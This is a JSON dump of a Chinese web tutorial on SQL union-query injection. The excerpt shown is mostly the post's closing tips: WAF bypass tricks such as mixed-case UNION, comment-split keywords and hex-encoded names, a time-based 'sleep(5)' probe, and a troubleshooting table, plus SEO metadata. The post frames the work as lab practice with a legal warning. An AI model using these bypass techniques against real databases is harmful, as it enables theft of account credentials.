\u73af\u5883\u4e0e\u5de5\u5177\u7c7b<\/h5>\n<ul>\n<li>\u786e\u4fdd\u9776\u573a\u6570\u636e\u5e93\u6743\u9650\u8db3\u591f&#xff1a;information_schema\u5e93\u9700\u6709\u67e5\u8be2\u6743\u9650&#xff0c;\u5426\u5219\u65e0\u6cd5\u83b7\u53d6\u5143\u6570\u636e<\/li>\n<li>\u6293\u5305\u65f6\u82e5\u9875\u9762\u65e0\u54cd\u5e94&#xff0c;\u68c0\u67e5\u4ee3\u7406\u914d\u7f6e\u662f\u5426\u6b63\u786e&#xff0c;\u6216\u9776\u573a\u662f\u5426\u6b63\u5e38\u8fd0\u884c<\/li>\n<li>\u6d4b\u8bd5\u524d\u5907\u4efd\u9776\u573a\u6570\u636e&#xff0c;\u907f\u514d\u6ce8\u5165\u8fc7\u7a0b\u4e2d\u8bef\u5220\u6570\u636e<\/li>\n<\/ul>\n<h5>3. \u7ed5\u8fc7\u9632\u62a4\u7c7b<\/h5>\n<ul>\n<li>\u82e5order by\u88ab\u8fc7\u6ee4&#xff0c;\u53ef\u4f7f\u7528GROUP BY\u66ff\u4ee3&#xff08;\u529f\u80fd\u4e00\u81f4&#xff0c;\u90e8\u5206 WAF \u672a\u62e6\u622a&#xff09;<\/li>\n<li>\u82e5union\u88ab\u8fc7\u6ee4&#xff0c;\u53ef\u5c1d\u8bd5\u5927\u5c0f\u5199\u6df7\u5408&#xff08;\u5982UNIOn&#xff09;\u6216\u63d2\u5165\u6ce8\u91ca&#xff08;\u5982UNI\/**\/ON&#xff09;<\/li>\n<li>\u82e5\u5355\u5f15\u53f7\u88ab\u8fc7\u6ee4&#xff0c;\u4f18\u5148\u4f7f\u7528 16 \u8fdb\u5236\u8f6c\u6362\u8868\u540d \/ \u5e93\u540d&#xff0c;\u6216\u6362\u6570\u5b57\u578b\u6ce8\u5165<\/li>\n<\/ul>\n<h5>4. \u6cd5\u5f8b\u4e0e\u5408\u89c4\u7c7b<\/h5>\n<ul>\n<li>\u4ec5\u5bf9\u6388\u6743\u76ee\u6807\u8fdb\u884c\u6e17\u900f\u6d4b\u8bd5&#xff0c;\u672a\u6388\u6743\u6d4b\u8bd5\u5c5e\u4e8e\u975e\u6cd5\u884c\u4e3a&#xff0c;\u9700\u627f\u62c5\u6cd5\u5f8b\u8d23\u4efb<\/li>\n<li>\u83b7\u53d6\u7684\u654f\u611f\u6570\u636e\u4e0d\u5f97\u6cc4\u9732\u6216\u7528\u4e8e\u975e\u6cd5\u7528\u9014&#xff0c;\u6d4b\u8bd5\u5b8c\u6210\u540e\u9700\u5220\u9664\u6d4b\u8bd5\u6570\u636e<\/li>\n<\/ul>\n<hr \/>\n<h4>\u56db\u3001\u5e38\u89c1\u95ee\u9898\u6392\u67e5<\/h4>\n<p>\u8868\u683c<\/p>\n<table>\n<tr>\u95ee\u9898\u73b0\u8c61\u53ef\u80fd\u539f\u56e0\u89e3\u51b3\u65b9\u6848<\/tr>\n<tbody>\n<tr>\n<td>\u6ce8\u5165 Payload \u6267\u884c\u540e\u9875\u9762\u65e0\u53d8\u5316<\/td>\n<td>\u6ce8\u5165\u70b9\u5224\u65ad\u9519\u8bef<\/td>\n<td>\u6362\u5176\u4ed6\u53c2\u6570\u6d4b\u8bd5&#xff0c;\u6216\u7528and sleep(5)\u6d4b\u8bd5\u65f6\u95f4\u76f2\u6ce8<\/td>\n<\/tr>\n<tr>\n<td>UNION SELECT\u62a5\u9519 \u201c\u5217\u6570\u4e0d\u5339\u914d\u201d<\/td>\n<td>\u5217\u6570\u5224\u65ad\u9519\u8bef<\/td>\n<td>\u91cd\u65b0\u7528order by\u786e\u8ba4\u5217\u6570&#xff0c;\u786e\u4fdd\u524d\u540e\u5217\u6570\u4e00\u81f4<\/td>\n<\/tr>\n<tr>\n<td>\u56de\u663e\u4f4d\u4e0d\u663e\u793a\u76ee\u6807\u6570\u636e<\/td>\n<td>\u6570\u636e\u653e\u5728\u975e\u56de\u663e\u5217<\/td>\n<td>\u5c06\u67e5\u8be2\u8bed\u53e5\u653e\u5728\u5df2\u786e\u8ba4\u7684\u56de\u663e\u4f4d&#xff08;\u5982\u7b2c 2\u30013 \u5217&#xff09;<\/td>\n<\/tr>\n<tr>\n<td>information_schema\u67e5\u8be2\u65e0\u7ed3\u679c<\/td>\n<td>\u6570\u636e\u5e93\u6743\u9650\u4e0d\u8db3<\/td>\n<td>\u6362\u5f53\u524d\u6570\u636e\u5e93\u4e0b\u7684\u5176\u4ed6\u8868\u6d4b\u8bd5&#xff0c;\u6216\u63d0\u5347\u6743\u9650<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>\u901a\u8fc7\u4ee5\u4e0a\u6b65\u9aa4&#xff0c;\u53ef\u5b8c\u6574\u5b9e\u73b0\u8054\u5408\u67e5\u8be2\u6ce8\u5165&#xff0c;\u9ad8\u6548\u83b7\u53d6\u6570\u636e\u5e93\u654f\u611f\u6570\u636e\u3002\u5173\u952e\u5728\u4e8e\u4e25\u683c\u9075\u5faa \u201c\u6ce8\u5165\u70b9\u68c0\u6d4b\u2192\u5217\u6570\u5224\u65ad\u2192\u56de\u663e\u4f4d\u786e\u8ba4\u2192\u5206\u5c42\u83b7\u53d6\u6570\u636e\u201d \u7684\u903b\u8f91&#xff0c;\u540c\u65f6\u6ce8\u610f\u8bed\u6cd5\u95ed\u5408\u548c\u7ed5\u8fc7\u9632\u62a4&#xff0c;\u907f\u514d\u8e29\u5751\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u4e00\u3001SQL \u8054\u5408\u67e5\u8be2\u6ce8\u5165 \u8be6\u7ec6\u89e3\u9898\u6b65\u9aa4\u6838\u5fc3\u524d\u63d0\u76ee\u6807&#xff1a;\u901a\u8fc7\u8054\u5408\u67e5\u8be2\u6ce8\u5165\u83b7\u53d6\u6570\u636e\u5e93\u654f\u611f\u6570\u636e&#xff08;\u5e93\u540d\u3001\u8868\u540d\u3001\u5217\u540d\u3001\u8d26\u53f7\u5bc6\u7801&#xff09;\u9002\u7528\u573a\u666f&#xff1a;\u9875\u9762\u6709\u6570\u636e\u56de\u663e\u4f4d&#xff08;\u67e5\u8be2\u7ed3\u679c\u80fd\u5728\u524d\u7aef\u663e\u793a&#xff09;\u3001\u53ef\u901a\u8fc7\u62a5\u9519\u6216\u5e03\u5c14\u8bed\u53e5\u786e\u8ba4\u6ce8\u5165\u70b9\u6838\u5fc3\u4f9d\u8d56&#xff1a;MySQL \u7684information_schema\u7cfb\u7edf\u5e93&#xff08;\u5b58\u50a8\u6240\u6709\u6570\u636e\u5e93\u5143\u6570\u636e&#xff09;\u4e8c\u3001\u5b8c\u6574\u89e3\u9898\u6b65\u9aa4&#xff08;\u5206 8 \u4e2a\u9636\u6bb5&#xff09;\u9636\u6bb5<\/p>\n","protected":false},"author":2,"featured_media":76397,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[768,4761,275,100,122],"topic":[],"class_list":{"0":"post-76398","1":"post","2":"type-post","3":"status-publish","4":"format-standard","5":"has-post-thumbnail","6":"hentry","7":"category-server","8":"tag-sql","10":"tag-web","11":"tag-100","12":"tag-122"},"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v20.3 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>SQL \u8054\u5408\u67e5\u8be2\u6ce8\u5165 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.wsisp.com\/helps\/76398.html\" \/>\n<meta property=\"og:locale\" content=\"zh_CN\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"SQL \u8054\u5408\u67e5\u8be2\u6ce8\u5165 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\" \/>\n<meta property=\"og:description\" content=\"\u4e00\u3001SQL \u8054\u5408\u67e5\u8be2\u6ce8\u5165 \u8be6\u7ec6\u89e3\u9898\u6b65\u9aa4\u6838\u5fc3\u524d\u63d0\u76ee\u6807&#xff1a;\u901a\u8fc7\u8054\u5408\u67e5\u8be2\u6ce8\u5165\u83b7\u53d6\u6570\u636e\u5e93\u654f\u611f\u6570\u636e&#xff08;\u5e93\u540d\u3001\u8868\u540d\u3001\u5217\u540d\u3001\u8d26\u53f7\u5bc6\u7801&#xff09;\u9002\u7528\u573a\u666f&#xff1a;\u9875\u9762\u6709\u6570\u636e\u56de\u663e\u4f4d&#xff08;\u67e5\u8be2\u7ed3\u679c\u80fd\u5728\u524d\u7aef\u663e\u793a&#xff09;\u3001\u53ef\u901a\u8fc7\u62a5\u9519\u6216\u5e03\u5c14\u8bed\u53e5\u786e\u8ba4\u6ce8\u5165\u70b9\u6838\u5fc3\u4f9d\u8d56&#xff1a;MySQL \u7684information_schema\u7cfb\u7edf\u5e93&#xff08;\u5b58\u50a8\u6240\u6709\u6570\u636e\u5e93\u5143\u6570\u636e&#xff09;\u4e8c\u3001\u5b8c\u6574\u89e3\u9898\u6b65\u9aa4&#xff08;\u5206 8 \u4e2a\u9636\u6bb5&#xff09;\u9636\u6bb5\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.wsisp.com\/helps\/76398.html\" \/>\n<meta property=\"og:site_name\" content=\"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\" \/>\n<meta property=\"article:published_time\" content=\"2026-02-22T05:25:51+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/02\/20260222052544-699a935892640.png\" \/>\n<meta name=\"author\" content=\"admin\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"\u4f5c\u8005\" \/>\n\t<meta name=\"twitter:data1\" content=\"admin\" \/>\n\t<meta name=\"twitter:label2\" content=\"\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4\" \/>\n\t<meta name=\"twitter:data2\" content=\"4 \u5206\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/76398.html\",\"url\":\"https:\/\/www.wsisp.com\/helps\/76398.html\",\"name\":\"SQL \u8054\u5408\u67e5\u8be2\u6ce8\u5165 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\",\"isPartOf\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/#website\"},\"datePublished\":\"2026-02-22T05:25:51+00:00\",\"dateModified\":\"2026-02-22T05:25:51+00:00\",\"author\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/76398.html#breadcrumb\"},\"inLanguage\":\"zh-Hans\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.wsisp.com\/helps\/76398.html\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/76398.html#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"\u9996\u9875\",\"item\":\"https:\/\/www.wsisp.com\/helps\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"SQL \u8054\u5408\u67e5\u8be2\u6ce8\u5165\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#website\",\"url\":\"https:\/\/www.wsisp.com\/helps\/\",\"name\":\"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\",\"description\":\"\u9999\u6e2f\u670d\u52a1\u5668_\u9999\u6e2f\u4e91\u670d\u52a1\u5668\u8d44\u8baf_\u670d\u52a1\u5668\u5e2e\u52a9\u6587\u6863_\u670d\u52a1\u5668\u6559\u7a0b\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.wsisp.com\/helps\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"zh-Hans\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41\",\"name\":\"admin\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"zh-Hans\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery\",\"contentUrl\":\"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery\",\"caption\":\"admin\"},\"sameAs\":[\"http:\/\/wp.wsisp.com\"],\"url\":\"https:\/\/www.wsisp.com\/helps\/author\/admin\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"SQL \u8054\u5408\u67e5\u8be2\u6ce8\u5165 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.wsisp.com\/helps\/76398.html","og_locale":"zh_CN","og_type":"article","og_title":"SQL \u8054\u5408\u67e5\u8be2\u6ce8\u5165 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","og_description":"\u4e00\u3001SQL \u8054\u5408\u67e5\u8be2\u6ce8\u5165 \u8be6\u7ec6\u89e3\u9898\u6b65\u9aa4\u6838\u5fc3\u524d\u63d0\u76ee\u6807&#xff1a;\u901a\u8fc7\u8054\u5408\u67e5\u8be2\u6ce8\u5165\u83b7\u53d6\u6570\u636e\u5e93\u654f\u611f\u6570\u636e&#xff08;\u5e93\u540d\u3001\u8868\u540d\u3001\u5217\u540d\u3001\u8d26\u53f7\u5bc6\u7801&#xff09;\u9002\u7528\u573a\u666f&#xff1a;\u9875\u9762\u6709\u6570\u636e\u56de\u663e\u4f4d&#xff08;\u67e5\u8be2\u7ed3\u679c\u80fd\u5728\u524d\u7aef\u663e\u793a&#xff09;\u3001\u53ef\u901a\u8fc7\u62a5\u9519\u6216\u5e03\u5c14\u8bed\u53e5\u786e\u8ba4\u6ce8\u5165\u70b9\u6838\u5fc3\u4f9d\u8d56&#xff1a;MySQL \u7684information_schema\u7cfb\u7edf\u5e93&#xff08;\u5b58\u50a8\u6240\u6709\u6570\u636e\u5e93\u5143\u6570\u636e&#xff09;\u4e8c\u3001\u5b8c\u6574\u89e3\u9898\u6b65\u9aa4&#xff08;\u5206 8 \u4e2a\u9636\u6bb5&#xff09;\u9636\u6bb5","og_url":"https:\/\/www.wsisp.com\/helps\/76398.html","og_site_name":"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","article_published_time":"2026-02-22T05:25:51+00:00","og_image":[{"url":"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/02\/20260222052544-699a935892640.png"}],"author":"admin","twitter_card":"summary_large_image","twitter_misc":{"\u4f5c\u8005":"admin","\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4":"4 \u5206"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/www.wsisp.com\/helps\/76398.html","url":"https:\/\/www.wsisp.com\/helps\/76398.html","name":"SQL \u8054\u5408\u67e5\u8be2\u6ce8\u5165 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","isPartOf":{"@id":"https:\/\/www.wsisp.com\/helps\/#website"},"datePublished":"2026-02-22T05:25:51+00:00","dateModified":"2026-02-22T05:25:51+00:00","author":{"@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41"},"breadcrumb":{"@id":"https:\/\/www.wsisp.com\/helps\/76398.html#breadcrumb"},"inLanguage":"zh-Hans","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.wsisp.com\/helps\/76398.html"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.wsisp.com\/helps\/76398.html#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"\u9996\u9875","item":"https:\/\/www.wsisp.com\/helps"},{"@type":"ListItem","position":2,"name":"SQL \u8054\u5408\u67e5\u8be2\u6ce8\u5165"}]},{"@type":"WebSite","@id":"https:\/\/www.wsisp.com\/helps\/#website","url":"https:\/\/www.wsisp.com\/helps\/","name":"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","description":"\u9999\u6e2f\u670d\u52a1\u5668_\u9999\u6e2f\u4e91\u670d\u52a1\u5668\u8d44\u8baf_\u670d\u52a1\u5668\u5e2e\u52a9\u6587\u6863_\u670d\u52a1\u5668\u6559\u7a0b","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.wsisp.com\/helps\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"zh-Hans"},{"@type":"Person","@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41","name":"admin","image":{"@type":"ImageObject","inLanguage":"zh-Hans","@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/image\/","url":"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery","contentUrl":"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery","caption":"admin"},"sameAs":["http:\/\/wp.wsisp.com"],"url":"https:\/\/www.wsisp.com\/helps\/author\/admin"}]}},"_links":{"self":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts\/76398","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/comments?post=76398"}],"version-history":[{"count":0,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts\/76398\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/media\/76397"}],"wp:attachment":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/media?parent=76398"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/categories?post=76398"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/tags?post=76398"},{"taxonomy":"topic","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/topic?post=76398"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}